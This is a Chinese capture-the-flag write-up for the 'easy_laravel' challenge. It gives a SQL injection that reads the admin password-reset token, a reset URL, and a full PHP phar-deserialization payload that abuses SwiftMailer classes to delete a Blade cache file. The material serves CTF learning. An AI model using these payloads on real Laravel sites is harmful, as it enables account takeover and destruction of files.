• [护网杯2018] easy_laravel


    前言

    题目环境

    buuoj 上的复现,和原版的题目不是完全一样。原题使用的是 nginx + mysql 而 buuoj 上的是 apache + sqlite

    composer

    这是在 PHP5.3 以上的一个依赖管理工具。感觉和 docker 很像,docker-compose 根据 docker-compose.yml 中配置的服务和镜像,生成虚拟机。PHP 中的 composer 则是根据 composer.json 加载配置的 php package

    配置更新源,Composer 镜像站

    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
    

    升级

    composer self-update 或者 composer update --lock
    

    诊断命令

    composer diagnose
    

    清除缓存

    composer clear
    

    根据 composer.json 安装 php package

    composer install
    

    SQL 注入

    不难发现在 AppHttpControllers 中的 NoteController 存在注入

    注入语句 admin' union select 1,2,3,4,5-- 返回正确,且是在第 2 个字段返回

    在数据库配置文件 database 目录下可以发现 admin 的相关信息,以及 users password_resets notes 三个表的建表信息

    密码重置

    可以找到 admin 的相关信息,但是无法解出密码。然后在 login 页面发现可以重置密码,且在重置密码的表中发现,重置密码需要 email 和 token

    email 是已知的,只需要找到 token 就可以重置密码,而 token 可以通过注入获得

    admin' union select 1,(select email||'::'||token from password_resets limit 0,1),3,4,5--
    

    然后访问 http://url/password/reset/token 即可重置密码,加上 token 是 laravel 默认重置密码的方法。这里就是访问 http://796570fa-9501-4d8a-8b78-bc0afeea00dd.node3.buuoj.cn/password/reset/584256164e7a29b57db2de53ab35d9a27b76d61eb19809ab3968142f24fa55cd

    然后就可以以管理员身份登陆后台

    Blade expired

    Blade 是 laravel 提供的一个简单强大的模板引擎。它是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变

    这里就是由于旧缓存的存在,导致看不到 flag 因此可以考虑删除旧缓存来读取 flag

    blade 缓存位置是 storage/framework/views apache 的默认目录是 /var/www/html/ 在一起就是 /var/www/html/storage/framework/views 结合上面的 sha1 就是 /var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

    phar 反序列化

    删除缓存文件的话,在安装的这些 php package 中发现有 unlink 的 __destruct() 函数,这就可以上传 phar 文件,然后再找到触发函数即可

    然后在 UploadController 中的 check() 函数中发现调用了 file_exists() 函数,并且两个参数都可控

    并且上传的路径也可以获得

    于是就可以构造 payload

    pyload

    <?php
    abstract class Swift_ByteStream_AbstractFilterableInputStream
    {
        /**
         * Write sequence.
         */
        protected $_sequence = 0;
    
        /**
         * StreamFilters.
         *
         * @var Swift_StreamFilter[]
         */
        private $_filters = array();
    
        /**
         * A buffer for writing.
         */
        private $_writeBuffer = '';
    
        /**
         * Bound streams.
         *
         * @var Swift_InputByteStream[]
         */
        private $_mirrors = array();
    
    }
    
    class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 
    {
        /** The internal pointer offset */
        private $_offset = 0;
    
        /** The path to the file */
        private $_path;
    
        /** The mode this file is opened in for writing */
        private $_mode;
    
        /** A lazy-loaded resource handle for reading the file */
        private $_reader;
    
        /** A lazy-loaded resource handle for writing the file */
        private $_writer;
    
        /** If magic_quotes_runtime is on, this will be true */
        private $_quotes = false;
    
        /** If stream is seekable true/false, or null if not known */
        private $_seekable = null;
    
    	public function __construct($path, $writable = false) {
    		$this->_path = $path;
    		$this->_mode = $writable ? 'w+b' : 'rb';
    
    		if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
    			$this->_quotes = true;
    		}
    	}
    
        /**
         * Get the complete path to the file.
         *
         * @return string
         */
        public function getPath()
        {
            return $this->_path;
        }
    
    }
    
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
    {
        public function __construct()
        {
            $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
    
            parent::__construct($filePath, true);
        }
        public function __destruct()
        {
            if (file_exists($this->getPath())) {
                @unlink($this->getPath());
            }
        }
    }
    
    
    $obj = new Swift_ByteStream_TemporaryFileByteStream();
    $p = new Phar('./1.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($obj);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    

    生成 1.phar 改名为 1.gif 并上传,在 check 中触发反序列化,删除缓存文件后读取 flag 即可

  • 相关阅读:
    改变多行文本字符串的缩进
    多线程
    python基本语法2.5--字符串的相关操作
    python基本语法2.4---汉诺塔的递归
    python基本语法2.3--函数及参数传递
    python基本语法2.2--函数名当作变量传递
    python基本语法2.1--if判断和while,for循环
    AlexNet源码
    python基本语法1.4--初识爬虫
    python基本语法1.5--调用numpy库的性能影响
  • 原文地址:https://www.cnblogs.com/peri0d/p/12512343.html
Copyright © 2020-2023  润新知